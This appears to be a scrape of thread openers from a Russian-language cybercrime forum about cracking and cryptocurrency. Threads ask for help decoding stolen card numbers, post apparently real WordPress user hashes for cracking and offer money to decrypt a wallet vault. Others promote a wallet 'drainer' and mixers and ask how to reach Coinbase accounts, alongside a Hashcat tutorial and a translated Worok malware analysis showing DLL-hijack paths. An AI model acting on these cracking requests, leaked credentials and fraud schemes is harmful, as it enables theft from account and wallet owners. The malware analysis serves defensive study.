PY9I15IfK9Ka6X/K1M9vApYUgh2o5lUMUBDmf/2xcbw=
CJhhaMkplKpCQev6BaujD5lcz/R95fqrZEpDfmIBDJU=
CJhhaMkplKpCQev6BaujD5lcz/R95fqrZEpDfmIBDJU=
3vWII+1X7IHWBOWn/YLmozmY4S11xiqloUhaHIlxQ/8=

Помощь с кодировкой
ID: 676536fbb4103b69df373795
Thread ID: 87169
Created: 2023-05-02T21:47:06+0000
Last Post: 2023-07-12T09:30:05+0000
Author: bongiorno
Replies: 17 Views: 2K

Наткнулся на бд с СС и увидел, что номера карт указаны в неизвестной кодировке:

Code:Copy to clipboard

?c„äúåïÚ݉ËÍÜJ³
>e€‚ýýãàÝÄÁÈß\µE¯
>e…€ìþâíÜÖŠÍÏÜO·

Кто-то сможет помочь определить?

Как уберечь данные при компрометации сервера?
ID: 676536fbb4103b69df3737a3
Thread ID: 87719
Created: 2023-05-11T08:33:28+0000
Last Post: 2023-06-01T06:01:26+0000
Author: Raskolnikov
Replies: 16 Views: 2K

Допустим есть некий ключ, который храниться в файле, этот ключ использует приложение на python, если серв хакнут, как уберечь или хотя бы затруднить процесс получения ключа для взломщика?

Hashcat Tutorial V2.0
ID: 676536fbb4103b69df3737a6
Thread ID: 88243
Created: 2023-05-17T23:22:12+0000
Last Post: 2023-05-22T04:52:53+0000
Author: doctor_dimitri
Replies: 13 Views: 2K

Здравствуйте, уважаемые участники форума!

С учетом положительного отзыва на мой предыдущий обзор Hashcat и просьбы о дополнительных сведениях, я решил подготовить более подробное руководство. Я надеюсь, это поможет вам лучше понять и использовать этот мощный инструмент.

Подчеркиваю: все, что будет описано далее, предназначено исключительно для образовательных целей. Использование этих сведений должно быть в соответствии с законодательством вашей страны.

  1. Установка Hashcat

Скачайте Hashcat с официального сайта (https://hashcat.net/hashcat/). Установка Hashcat может варьироваться в зависимости от вашей операционной системы. В Linux, например, можно использовать команду wget для скачивания и tar для распаковки архива.

Проверьте, что ваша графическая карта совместима с Hashcat. В списке поддерживаемых устройств на официальном сайте вы найдете информацию о совместимости.

  1. Получение хеша

Хеш-функция преобразует входные данные (например, пароль) в строку фиксированного размера. Это хеш пароля. Получить хеш можно различными способами, включая использование утилиты для хеширования в командной строке.

  1. Создание файла с хешами и файла со словарем

Файл с хешами должен содержать один или несколько хешей, которые вы хотите восстановить. Это может быть файл .txt, где каждый хеш находится на новой строке.

Файл словаря (или файл "wordlist") - это текстовый файл, который содержит список слов или фраз, которые будут использоваться для атаки. Существуют различные ресурсы для получения готовых словарей в Интернете, но вы также можете создать свой собственный.

  1. Запуск Hashcat

Теперь, когда у вас есть все необходимые файлы, вы можете запустить Hashcat. Синтаксис будет таким: hashcat -m [тип хеша] -a 0 [путь к файлу с хешами] [путь к файлу со словарем].

Здесь -m обозначает тип хеша (например, 0 для MD5, 1000 для NTLM и т.д.), -a 0 указывает на атаку по словарю.

Пример использования: hashcat -m 0 -a 0 hashes.txt dictionary.txt.

Это будет атака на хеши в файле hashes.txt, используя слова из файла dictionary.txt и алгоритм MD5.

  1. Использование маскирования для атаки

Маскирование - это метод, который позволяет вам определить структуру пароля. Это особенно полезно, если вы знаете определенные детали пароля. Например, hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?d?d?d?d будет атаковать хеши, используя маску из 4 букв в нижнем регистре, за которыми следуют 4 цифры.

  1. Понимание вывода Hashcat

После запуска Hashcat начнет восстанавливать хеши. Если он найдет соответствие, он выведет строку, которая начинается с хеша, затем разделитель (по умолчанию ":"), затем восстановленный пароль.

  1. Использование различных режимов атаки

Hashcat поддерживает различные режимы атаки, включая словарные атаки, атаки по маске, комбинации и другие. Изучите различные режимы, чтобы выбрать наиболее подходящий для вашей ситуации.

Напоминаю, что Hashcat - это мощный инструмент, который может использоваться для аудита безопасности паролей, обучения и исследований в области криптографии. Никогда не используйте его для незаконных действий!

Большое спасибо вам, сообщество XSS, за ваши положительные отзывы и комментарии. Без вашей поддержки и обратной связи я не смог бы улучшить это руководство. Надеюсь, это будет полезно для всех вас, и я с нетерпением жду вашей обратной связи!

С наилучшими пожеланиями, Доктор Дмитрий

EX:

  1. 1. **Атака по словарю с алгоритмом MD5**
    

hashcat -m 0 -a 0 hashes.txt dictionary.txt

1. **Атака по маске с алгоритмом MD5 (только буквы в нижнем регистре)**

hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

1. **Атака по маске с алгоритмом MD5 (только цифры)**

hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d?d?d

1. **Атака по словарю с алгоритмом SHA-1**

hashcat -m 100 -a 0 hashes.txt dictionary.txt

1. **Атака по маске с алгоритмом SHA-1 (только буквы в нижнем регистре и цифры)**

hashcat -m 100 -a 3 hashes.txt ?l?l?l?l?d?d?d?d

1. **Атака по маске с алгоритмом SHA-256 (только буквы в нижнем регистре и цифры)**

hashcat -m 1400 -a 3 hashes.txt ?l?l?l?l?d?d?d?d

1. **Атака по маске с алгоритмом NTLM (только буквы в верхнем регистре и цифры)**

hashcat -m 1000 -a 3 hashes.txt ?u?u?u?u?d?d?d?d

1. **Комбинированная атака с алгоритмом MD5**

hashcat -m 0 -a 1 hashes.txt dictionary1.txt dictionary2.txt

1. **Атака по гибридному словарю с алгоритмом MD5 (добавление двух цифр к словам из словаря)**

hashcat -m 0 -a 6 hashes.txt dictionary.txt ?d?d

В заключение хочу подчеркнуть, что Hashcat - это мощный инструмент, который может использоваться для образовательных, исследовательских и проверочных целей. Он поддерживает широкий спектр алгоритмов хеширования и методов атаки, что делает его неоценимым инструментом для тестирования на проникновение и анализа безопасности паролей.

Пожалуйста, используйте этот инструмент ответственно и только в легальных целях.

Ниже приведены некоторые дополнительные важные замечания о Hashcat:

Распараллеливание : Hashcat эффективно использует мощность графических процессоров для распараллеливания вычислений. Это означает, что больше графических процессоров или ядер GPU у вас есть, тем быстрее вы сможете перебирать хеши.

Кулеры и температура : Мониторинг и контроль температуры графического процессора являются критически важными, когда вы используете Hashcat. Программа может нагреть ваш графический процессор до высоких температур, что может привести к повреждению оборудования. Используйте встроенный контроль температуры Hashcat, и всегда следите за температурой графического процессора.

Методы атаки : Hashcat поддерживает множество методов атаки, включая атаки по словарю, атаки по маске, комбинационные атаки и другие. Каждый метод подходит для разных сценариев. Например, атака по словарю эффективна, когда вы знаете, что пароль скорее всего является общим словом или фразой. Атака по маске эффективна, когда вы знаете определенные детали о структуре пароля.

Пример атаки по маске:

hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?d?d?d

Это будет атака по маске на хеши в файле hashes.txt, используя маску из одной буквы в верхнем регистре, за которой следуют 4 буквы в нижнем регистре и 3 цифры.

Спасибо за ваш интерес к этому теме, и я н
адеюсь, что вы найдете эту информацию полезной. Помните, безопасность - это не одноразовый процесс, а постоянная практика. Использование таких инструментов, как Hashcat, может помочь вам лучше понять и улучшить безопасность своих систем.

Всегда старайтесь быть в курсе последних новостей и исследований в области безопасности информации. Только так можно эффективно защитить свои системы от угроз. И помните, что этика является важной частью работы в области кибербезопасности.

Оптимизация работы с Hashcat : Используйте различные опции и флаги для оптимизации вашего процесса взлома. Например, вы можете установить конкретный графический процессор для использования с опцией --gpu-devices, или вы можете установить максимальную рабочую нагрузку с помощью опции --workload-profile.

Пример: hashcat -m 0 -a 3 --gpu-devices 1 --workload-profile 4 hashes.txt ?u?l?l?l?l?d?d?d

Этот пример говорит Hashcat использовать только первый графический процессор (предполагая, что у вас есть несколько установленных GPU) и устанавливает максимальную рабочую нагрузку.

Спасибо вам за внимание. Я надеюсь, эта информация поможет вам в вашем обучении и исследованиях в области кибербезопасности. Если у вас есть вопросы или комментарии, не стесняйтесь задавать их здесь. Ваш обратная связь очень важна для нас.

С уважением, Доктор Дмитрий.

Люди, помогите, я в жопе (помощь в decrypt файлов)
ID: 676536fbb4103b69df3737aa
Thread ID: 88147
Created: 2023-05-16T20:14:49+0000
Last Post: 2023-05-18T08:25:47+0000
Author: DedJhones
Replies: 14 Views: 2K

Скачал я виртуалку на macbook
Решил потестировать шифрование файлов в вируталке( управлял одном из самых обосранных ратников)
Эта сука зашифровала все файлы в виртуалке и на маке + ЭТА СУКА ЗАШИФРОВАЛА КЛЮЧ ШИФРОВАНИЯ

Как мне быть? Как мне расшифровать файлы на маке? Можно ли закинуть куда нибудь/кому нибудь файл, чтобы его смогли декодировать?

Онлайн сервисы по расшифровке Wpa2 wifi ключей
ID: 676536fbb4103b69df3737b0
Thread ID: 86360
Created: 2023-04-21T07:42:15+0000
Last Post: 2023-05-12T00:50:43+0000
Author: Onyx450
Replies: 3 Views: 2K

Здравствуйте.подскажите пожалуйста онлайн сервисы нормальные для расшифровки wpa/wpa2 ,можно платные или бесплатные ,вообще какие есть

Подбор соли
ID: 676536fbb4103b69df3737b4
Thread ID: 78207
Created: 2022-12-15T19:58:11+0000
Last Post: 2023-05-10T12:53:57+0000
Author: gilo20
Replies: 2 Views: 2K

Сможет ли кто-то подобрать соль к хэшу и паролю?

Может кто-то помочь разшифровать ХЕШ!!!
ID: 676536fbb4103b69df3737bc
Thread ID: 84163
Created: 2023-03-20T11:43:02+0000
Last Post: 2023-04-09T20:19:45+0000
Author: bat9user
Replies: 3 Views: 2K

user_pass varchar(255)
$P$BpEkFfeXhXWFSUCGpNzb3Bx2XVQCpH.
user_nicename varchar(50)
bidpin

ID bigint(20) unsigned
user_login varchar(60)
ariston
user_pass varchar(255)
$P$BH0GhijmEsI.0a/ZUOWdgpSk3sC23E/
user_nicename varchar(50)

ID bigint(20) unsigned
user_login varchar(60)
Nick
user_pass varchar(255)
$P$B/d/FNNO53qP/G.f11O58bxJiG/o8X/
user_nicename varchar(50)

Trust wallet seed phrase decrypt
ID: 676536fbb4103b69df3737be
Thread ID: 84444
Created: 2023-03-24T18:54:38+0000
Last Post: 2023-04-07T20:30:45+0000
Author: NoneTypeObject
Replies: 2 Views: 2K

Всем привет, пытаюсь понять как шифрует сидку расширение на хром от Trust Wallet
Данные, которые лежат в .log файле:
"crypto":{"cipher":"aes-128-ctr","cipherparams":{"iv":"5b7f9fb1944ec010a96e6c7b8320b6fd"},"ciphertext":"debede2ba7b0945d2f20d5d7c6b830edaed10b87f116cf7db9315486069dfcc425a4c9cfb1aa941f7a868fa85805cc4fb3c6a726edd22db0acf581ac169d68046a87b31d28502507","kdf":"scrypt","kdfparams":{"dklen":32,"n":16384,"p":4,"r":8,"salt":""},"mac":"c3d4407d8f8749edae58b9a4fd8b295fb89063e7817b3d22fe3696ec4a12647e"}
Далее, отдельно от этого идет
trust:pbkdf2S"{"salt":"0x9c757a825bc1978295210c67850d560ddd700fd65e0368682ffabfb59e99b870"}"
И последнее
trust:vaultЈ"{"data":"KOH93BgGQbee++GAgq351OyWYOZIkU6LUVFlYdbcGwEQLZo2qNUDN+EHsDUqGCkfyneqOtvyr6EADLx7DGc7z28iqElSKvpolHfSNVqGuJRlYoSxK6iNLeZUpJ9ps9EYU980CCy++3LVWDqhQ5HHUzVNIUItE+0j63KefzhiUMphKqbw+zc=","iv":"+oykom4k3UqAXxd5QLlQfg==","salt":"RLdJHafB5CYr0nN4GWB6aC1W2H4uU0z0noGA0A3ix2A="}
По всей видимости тут эти хеши связаны как-то друг с другом и просто взять и расшифровать по паролю как у того же метамаска не удается. Удалив pbkdf2 salt из log файла заметил, что при запуске расширения в браузере и ввода валидного пароля выдает ошибка что-то типо "cannot find salt", то есть скорее всего введеный пароль хешируется с солью trust pbkdf2s, но как именно - не понятно, далее полученный ключ используется для расшифровки данных в trust:vault - всё это ход моих мыслей на данный момент
За успешный декрипт хеша готов отблагодарить суммой в 200$
Валидный пароль: Qwerty123!

Актуальна ли в 2023 тема миксеров?
ID: 676536fbb4103b69df3737c2
Thread ID: 82696
Created: 2023-02-25T11:40:15+0000
Last Post: 2023-03-30T23:53:32+0000
Author: ProgrammerMan
Replies: 3 Views: 2K

Актуальна ли в 2023 тема миксеров?

Есть ли спрос на массовую расшифровку популярных хеш функций?
ID: 676536fbb4103b69df3737c5
Thread ID: 82665
Created: 2023-02-24T18:40:09+0000
Last Post: 2023-03-02T15:03:14+0000
Author: evil666
Replies: 11 Views: 2K

Доброго времени суток! Есть идея написать несколько самописных программ, которые будут расшифровывать популярные (и возможно под заказ) хеш функции в массовом порядке.

Интересует будет ли спрос под это дело, и возможность платить какую-то копейку (торг) за сервис.

wallet.dat
ID: 676536fbb4103b69df3737c6
Thread ID: 82262
Created: 2023-02-18T20:29:29+0000
Last Post: 2023-02-23T14:34:43+0000
Author: byo2003
Replies: 10 Views: 2K

I have a bitcoin wallet with 5 btc , I only have its address, but I don't know if I can withdraw the coins or not, and if yes, how do I do that?
i have the wallet.dat fille ...

Криптография. Как защитить свои данные в цифровом пространстве (2023)
ID: 676536fbb4103b69df3737c8
Thread ID: 81992
Created: 2023-02-14T19:47:33+0000
Last Post: 2023-02-14T19:47:33+0000
Author: x00c4sub
Prefix: Мануал/Книга
Replies: 0 Views: 2K

Криптография – ключ к цифровой безопасности. Имея базовое представление о ней, вы сможете не только защитить свои данные от угроз, кроющихся в киберпространстве, но и лучше понять природу интернет-технологий, все глубже внедряющихся в нашу повседневную жизнь. Каковы потенциальные последствия подключения к незащищенной сети Wi-Fi? Так ли уж важно иметь разные пароли для разных учетных записей? Если вы видите, что у веб-сайта нет действительного сертификата, стоит ли продолжать с ним работу? Ответы на эти и другие вопросы вы найдете внутри.

cloud.mail.ru

Файл из Облака Mail.ru

Облако Mail.ru - это ваше персональное надёжное хранилище в интернете.

cloud.mail.ru cloud.mail.ru

Drainer Project
ID: 676536fbb4103b69df3737d7
Thread ID: 77183
Created: 2022-12-02T10:20:00+0000
Last Post: 2022-12-31T02:02:13+0000
Author: HASTA
Replies: 2 Views: 2K

Hello xss,I will publish Google ads, can you suggest me a project and in which country should I publish it?
(my drainer can withdraw funds from any wallet connected to the network)

wallet.dat corrupted
ID: 676536fbb4103b69df3737da
Thread ID: 75237
Created: 2022-11-04T14:58:19+0000
Last Post: 2022-12-15T00:12:32+0000
Author: cryptox
Replies: 15 Views: 2K

Привет уважаемое сообщество XSS.
Возник такой вопрос.
Имеется поврежденный (corrupted) кошелек wallet.dat созданный еще в версии bitcoin qt 0.8
Кошелек никогда не был в паблике и является приватным. Есть большая вероятность, что кошелек является полностью убитым, т.к. уже двое проф. криптографов не смогли его восстановить.
Однако, хотелось бы узнать мнение ещё одного или двух специалистов.
На кошельке находится сумма 10+btc
За любую помощь в поиске профессионала по восстановлению кошельков, в случае успеха будет выплачен бонус. Непосредственно самому профи выплата составит 30% от баланса.

Кошелек передам только человеку с хорошей репутацией и отзывами.
За деталями прошу в личку.

Coinbase
ID: 676536fbb4103b69df3737e3
Thread ID: 73421
Created: 2022-09-20T16:14:53+0000
Last Post: 2022-11-26T08:17:50+0000
Author: i0pht
Replies: 4 Views: 2K

Как проверить баланс coinbase?
(1) В веб-аккаунте - Если у вас есть логин email+пароль (И у вас нет доступа к подключенной почте?)
(2) Если у вас есть расширение Chrome/FF/MS Edge?
Я буду признателен за все комментарии и предложения

En:
coinbase
How to check coinbase balance?
(1) In Web based account - If you have login email+Password (And don't have attached mail access?)
(2) If you have Chrome/FF/MS Edge extension based data?
I will appreciate all comments and suggestions

Бэкдор в PNG: стеганография. Workok.
ID: 676536fbb4103b69df3737e5
Thread ID: 76238
Created: 2022-11-20T06:50:03+0000
Last Post: 2022-11-21T21:58:07+0000
Author: вавилонец
Prefix: Статья
Replies: 3 Views: 2K

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://decoded.avast.io/martinchlumecky/png- steganography/)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

Наши коллеги-исследователи из ESET опубликовали статью о ранее незадокументированных инструментах, проникающих в крупные компании и местные органы власти в Азии. Инструменты, действующие как минимум с 2020 года, предназначены для кражи данных.ESET назвала их Workok ESET зафиксировала значительный перерыв в активности с 5 мая 2021 г. по начало 2022 г. Тем не менее, когда Worok снова стал активным, новые целевые жертвы, в том числе энергетические компании в Центральной Азии и организации государственного сектора в Юго-Восточной Азии, были заражены для кражи данных на основе о типах атакуемых компаний. Исследователи из ESET описали две цепочки выполнения и способы компрометации компьютеров жертв. Первоначальный компромисс неизвестен, но следующие этапы подробно описаны, в том числе описание того, как конечная полезная нагрузка загружается и извлекается с помощью стеганографии из файлов PNG. Однако окончательная полезная нагрузка еще не восстановлена. Подробную информацию о Worok, цепочках и командах бэкдора можно найти в статье ESET Workok: The big picture.
Наш анализ направлен на расширение текущих знаний об исследованиях ESET.Мы захватили дополнительные артефакты, связанные с Вороком, в конце цепочки выполнения. Файлы PNG, захваченные нашей телеметрией, подтверждают, что целью конечной полезной нагрузки, встроенной в них, является кража данных. Что примечательно, так это сбор данных с машин жертв с помощью репозитория DropBox, а также злоумышленников с помощью DropBox API для связи с финальной стадией.

Вся цепочка

Мы намерены придерживаться терминологии, установленной в исследовании ESET. Наше исследование также не выявило всей первоначальной компрометации вредоносного ПО. Однако у нас есть несколько новых наблюдений, которые могут быть частью процесса проникновения.
1668923126663.png

На рис. 1 показана исходная цепочка компрометации, описанная ESET. В некоторых случаях вредоносное ПО предположительно внедряется злоумышленниками через ProxyShell уязвимости. В некоторых крайних случаях эксплойты против уязвимости ProxyShell использовались для персистентности в сети жертвы. Затем злоумышленники использовали общедоступные инструменты эксплойтов для развертывания своих пользовательских вредоносов. Итак, финальная цепочка проста: первый этап CLRLoader, который реализует простой код, загружающий следующий этап ( PNGLoader).

Как начать

Конкретный вектор начальной атаки пока неизвестен, но мы обнаружили на взломанных машинах четыре библиотеки DLL, содержащие код CLRLoader. Наши обнаружения зафиксировали дерево процессов, показанное на рисунке 2. 1668923386353.png
Это дерево процессов наблюдалось для WLBSCTRL.DLL, TSMSISrv.DLL и TSVIPSrv.DLL. Взаимный процесс, выполняющий DLL, - svchost -k netsvcs. Таким образом, начальным процессом является SvcHost, представляющий службу Windows. DLL файлы помогают нам определить две службы Windows, а именно IKE и AuthIP IPsec Keying Modules (IKEEXT) и Remote Desktop Configuration (SessionEnv). Обе службы известны тем, что по умолчанию захватывают DLL-файлы, отсутствующие в папке System32, SCM и DLL Hijacking Primer.

Боковое перемещение

Перехват DLL в папке System32 сам по себе не является уязвимостью, поскольку для записи в нее злоумышленникам необходимы привилегии администратора. Однако мы предполагаем наличие реализованной обратной оболочки с привилегиями администратора как следствие первоначальной компрометации. В этом случае злоумышленник может эффективно выполнить латеральное перемещение через диспетчер управления службами (SVCCTL).
Короче говоря, злоумышленники помещают перехваченные DLL-файлы в %SYSTEMROOT%\System32, а затем удаленно запускают соответствующую службу.
Список взломанных служб Windows и их DLL-файлов:

Модули ключей IPsec IKE и AuthIP:

C:\Windows\System32\WLBSCTRL.dll

Конфигурация удаленного рабочего стола:

C:\Windows\System32\TSMSISrv.dll
C:\Windows\System32\TSVIPSrv.dll

Второй замеченный захват DLL связан с машинами VMware. Злоумышленники могут злоупотреблять захватом vmGuestLib.dll, которая используется службой WMI Performance Adapter (WmiApSrv) для предоставления информации о производительности. При запуске системы WmiApSrv загружает vmStatsProvider.dll, который пытается вызвать vmGuestLib.dll из %ProgramFiles%\VMware\VMware Tools\vmStatsProvider\win32 в качестве первого. Однако оригинальная библиотека находится в %SYSTEMROOT%\System32. Следовательно, если злоумышленники поместят vmGuestLib.dll в папку %ProgramFiles%, это также приведет к перехвату DLL. Эти два подхода являются вероятными сценариями того, как может быть выполнен CLRLoader, и запущена цепочка компрометации, показанная на рисунке 1. Элегантность этого подхода заключается в том, что злоумышленникам не нужно создавать новую службу, которая может выявить подозрительную деятельность. Злоумышленники злоупотребляют только экспортными функциями взломанных DLL, пустая перереализация которых не вызывает ошибки или какого-либо другого признака компрометации. Более того, постоянство CLRLoader обеспечивается легитимными службами Windows.

CLRLoader

CLRLoader - это DLL-файл, написанный на Microsoft Visual C++. Он реализует метод DllMain, который отвечает за загрузку следующего этапа (.NET вариант PNGLoader). Остальные экспортируемые функции соответствуют интерфейсам взломанных DLL, но реализация экспортируемых функций пуста. Поэтому вызов этой функции не вызывает сбоя в вызывающих процессах. Для полноты картины, взломанные файлы также содержат цифровые подписи оригинальных DLL-файлов; естественно, подпись недействительна. CLRLoader активируется вызовом LoadLibraryExW из нарушенного процесса/службы. LoadLibraryExW вызывается с нулевыми параметрами dwFlags, поэтому при загрузке вредоносной DLL в виртуальное адресное пространство вызывается DllMain. Пример кода CLRLoader показан на рисунке 3.

1668923885781.png

CLRLoader проверяет наличие DLL-файла .NET, содержащего PNGLoader, создает мьютекс и, наконец, выполняет PNGLoader через API CorBindToRuntimeEx.

Мы распознали два варианта PNGLoader со следующими точками входа:

Code:Copy to clipboard

 Jsprofile.Jspfilter (Setfilter)

    pngpcd.ImageCoder (PngCoder)

PNGLoader

Второй этап (PNGLoader) загружается CLRLoader или, как сообщает ESET, PowHeartBeat. Мы пока не видим кода, развертывающего PNGLoader на инфильтрированных системах, но ожидаем увидеть его аналогично боковому перемещению. PNGLoader - это загрузчик, который извлекает байты из файлов PNG и реконструирует их в исполняемый код. PNGLoader - это DLL-файл .NET, обфусцированный с помощью .NET Reactor; описание файла содержит информацию, имитирующую легитимное программное обеспечение, такое как Jscript Profiler или Transfer Service Proxy. Деобфусцированный код PNGLoader включает точку входа (Setfilter), вызываемую CLRLoader. Имеется жестко закодированный путь loader_path, по которому рекурсивно ищутся все PNG-файлы. Каждый файл .png проверяется на наличие определенных атрибутов растрового изображения (высота, ширина) и стеганографически внедренного содержимого (DecodePng). Метод Setfilter показан на рисунке 4.

1668924071401.png

Стеганографическое внедрение основано на одном из наиболее распространенных стеганографических методов, называемом кодированием наименее значимых битов (LSB). Как правило, этот метод встраивает данные в младшие биты каждого пикселя. В этой конкретной реализации один пиксель кодирует полубайт (по одному биту на каждый альфа-, красный, зеленый и синий канал), т.е. два пикселя содержат байт скрытой информации, как показано на рис.5. Хотя этот метод очень легко обнаружить с помощью простого статистического анализа, такое изменение значения пикселя едва заметно невооруженным глазом.

1668924224375.png

Затем стеганографически внедренное содержимое извлекается в четыре этапа следующим образом.

  • Извлекаются первые 16 байтов (32 пикселя) файла PNG, а первые 8 байтов должны соответствовать магическому числу. Эта проверка выполняется из-за вычислительной сложности, необходимой для извлечения остальных пикселей (примерно сотни тысяч пикселей). Следующие 8 байтов представляют собой длину встроенной полезной нагрузки.
  • Следующие извлеченные данные представляют собой зашифрованную полезную нагрузку в формате Gzip.
  • Извлеченная полезная нагрузка расшифровывается с помощью многобайтового XOR, жестко запрограммированного в PNGLoader.
  • Результатом операции XOR являются разархивированные данные Gzip.

Результатом этих шагов является окончательная полезная нагрузка, стеганографически встроенная в файл PNG.

Стеганографически встроенная полезная нагрузка

Если PNGLoaderуспешно обрабатывает ( извлекает → декодирует → распаковывает ) финальную полезную нагрузку, она компилируется во время выполнения и немедленно выполняется. Наша телеметрия зафиксировала два варианта PNGLoaderработа с магическими числами, записанными на рисунке 6 .

1668924309317.png

Первой реализацией полезной нагрузки является сценарий PowerShell, как показано в фрагменте кода PNGLoade rна рисунке 7 . Как и у наших коллег из ESET, у нас пока нет образца этой полезной нагрузки, но мы ожидаем аналогичную функцию, как и вторая реализация полезной нагрузки, описанная ниже.

1668924396759.png

Вторая реализация полезной нагрузки — это .NET C#, скомпилированный и выполненный через CompileAssemblyFromSourceметод CSharpCodeProviderкласс, см. рис. 8

.
1668924448258.png

Полезная нагрузка .NET C# имеет пространство имен Mydropbox, класс Programи метод Main. Пространство имен указывает, что полезная нагрузка работает с DropBox. Наше оборудование зафиксировало несколько файлов PNG, включая стеганографически встроенную полезную нагрузку C#.

PNG-файлы

На первый взгляд картинки PNG выглядят невинно, как пушистое облачко; см. рис. 9 . Наша телеметрия захватила три изображения PNG со следующими атрибутами:

  • Размер: 1213 x 270 (пикс.)
  • Разрядность: 8, тип цвета: 6 (RGB + Alpha)

1668924562190.png
Рис. 9. Вредоносный PNG-файл со стеганографически внедренной полезной нагрузкой C#

Как мы упоминали ранее, авторы вредоносных программ полагаются на кодирование LSB, чтобы скрыть вредоносную полезную нагрузку в пиксельных данных PNG, в частности, в LSB каждого цветового канала (красного, зеленого, синего и альфа- канала). Давайте посмотрим на их бит-планы. На рис. 10 показана одна из старших битовых плоскостей для каждого цветового канала; обратите внимание, что каждое из этих изображений выглядит далеким от случайного шума. Если бы мы посмотрели на изображение без данных, встроенных в его младший бит, мы бы увидели похожие закономерности.

1668924653783.png
Рисунок 10. Одна из битовых плоскостей RGB без скрытых данных

Теперь, для контраста, давайте взглянем на битовые плоскости LSB.На рисунке 11 показаны битовые плоскости LSB для каждого канала изображения PNG со встроенной зашифрованной (и сжатой) полезной нагрузкой. Напомним, что и шифрование, и сжатие обычно должны увеличивать энтропию изображения.Поэтому неудивительно, что битовые плоскости LSB такого изображения выглядят как случайный шум. Видно, что не используется все полотно битовых плоскостей LSB.

1668924715495.png

Полезная нагрузка занимает только пиксели, представляющие размер полезной нагрузки, а остальные остаются нетронутыми; см. алгоритм ниже.

1668924747336.png

В этом конкретном случае файлы PNG расположены в C:\Program Files\Internet Explorer, поэтому изображение не привлекает внимания, поскольку Internet Explorer имеет тему, аналогичную рисунку 12.

1668924788541.png
Рисунок 12. Пример графической темы Internet Explorer

DropBoxControl

Можем расширить цепочку компрометации с помощью полезной нагрузки .NET C#, которую мы называем DropBoxControl– третий этап, см. рисунок 13

1668924889360.png
Рисунок 13. Расширенная цепочка компрометации

DropBoxControl представляет собой бэкдор, который общается с злоумышленниками через сервис DropBox. Примечательно, что C&C-сервер — это учетная запись DropBox, и все коммуникации, такие как команды, загрузки и загрузки, выполняются с использованием обычных файлов в определенных папках. Поэтому команды бэкдора представлены в виде файлов с определенным расширением. DropBoxControlпериодически проверяет папку DropBox и выполняет команды на основе файлов запроса. Ответ на каждую команду также загружается в папку DropBox в виде файла результата.
Ниже описание компонентов DropBoxControl и весь рабочий процесс бэкдора.

API DropBox

DropBoxControl реализует связь DropBox, применяя стандартный API через HTTP/POST. Есть специальный класс, DropBoxOperation, обернув API методом, представленным в Таблице 1. Ключ API DropBox, отправленный в заголовке HTTP, жестко запрограммирован в DropBoxControl образец, он может быть изменен удаленно.

1.png

Команды

Злоумышленники управляют бэкдором с помощью десяти команд, записанных в Таблице 2 .

2.png

Команда Info отправляет основную информацию о зараженной системе следующим образом:

ClientId, жестко закодированный в каждом образце DropBoxControl
Версия образца DropBoxControl (видел 1.1.2.0001)
Имя хоста машины жертвы
Список всех IP-адресов жертвы
Версия и размер файла explorer.exe
Архитектура Windows
Список жестких дисков, включая общий размер, доступное свободное пространство и тип диска
Текущее время на машине жертвы

Конфигурация

DropBoxControl, объект данного исследования, использует три файла, расположенные в C:\Program Files\Internet Explorer. Имена файлов стараются выглядеть легитимно с точки зрения папки Internet Explorer.

ieproxy.dat

Этот файл содержит конфигурацию DropBoxControl, которая зашифрована. Он настраивает четыре переменные следующим образом:

DropboxId: API-ключ, используемый для авторизации
Interval: как часто проверяется диск DropBox
UpTime/DownTime: определяет временной интервал, когда бэкдор активен (см. 7 - 23).

Смотрите пример содержимого конфигурационного файла:
Bearer WGG0iGTAAGkOdrimId9QfzuwM-nJm**R8nNhy,300,7,23

iexplore.log

Файл iexplore.log - это файл журнала DropBoxControl, который записывает большинство действий, таких как обращение к DropBox, загрузка/выгрузка файлов, загрузка конфигурации и т.д. Сущности журнала записываются только в том случае, если существует файл sqmapi.dat. Механизм входа реализован любопытно, поскольку лог-файл не зашифрован и содержит расшифрованные данные файла ieproxy.dat.

Шифрование

DropBoxControl шифрует конфигурационный файл (фактически без эффекта), а также осуществляет связь с DropBox. Конфигурационный файл шифруется с помощью многобайтового XOR с жестко закодированным ключом (owe01zU4). Хотя API- коммуникация шифруется через HTTPS, данные, хранящиеся на DropBox, шифруются собственным алгоритмом.
Данные шифруются с помощью другого жестко закодированного массива байтов (hexEnc), TaskId и ClientId. Более того, TaskId используется в качестве индекса для массива hexEnc, и этот индекс солят с ClientId на каждой итерации; см. рисунок 14. Это похоже на алгоритм, используемый PowHeartBeat.

1668925574561.png

Рисунок 14. Алгоритм шифрования, используемый для файлов DropBox

Файлы DropBox

Как мы упоминали выше, связь между бэкдорами и злоумышленниками осуществляется с помощью файлов DropBox. Как правило, файлы DropBox, содержащие ценную информацию, зашифрованы. Каждый файл, помимо самих данных, также включает в себя флаги, [ тип задачи ](https://decoded.avast.io/martinchlumecky/png- steganography/#task-type) ( команда ) и другие метаданные, как показано на рис. 15 и в табл. 3.

1668925664922.png
Рисунок 15. Файловая структура файлов DropBox

3.png

Возвращаясь к файлам DropBox, мы исследуем файловую структуру DropBox учетной записи DropBox. Корневая папка включает в себя папки, названные в соответствии с ClientId который жестко запрограммирован в DropBoxControl; точнее, в файле PNG.
Каждая папка клиента содержит time.txt файл, который включает в себя число, которое является счетчиком итераций бэкдора. Одна итерация означает обращение к соответствующей клиентской папке в репозитории DropBox и ее обработку.
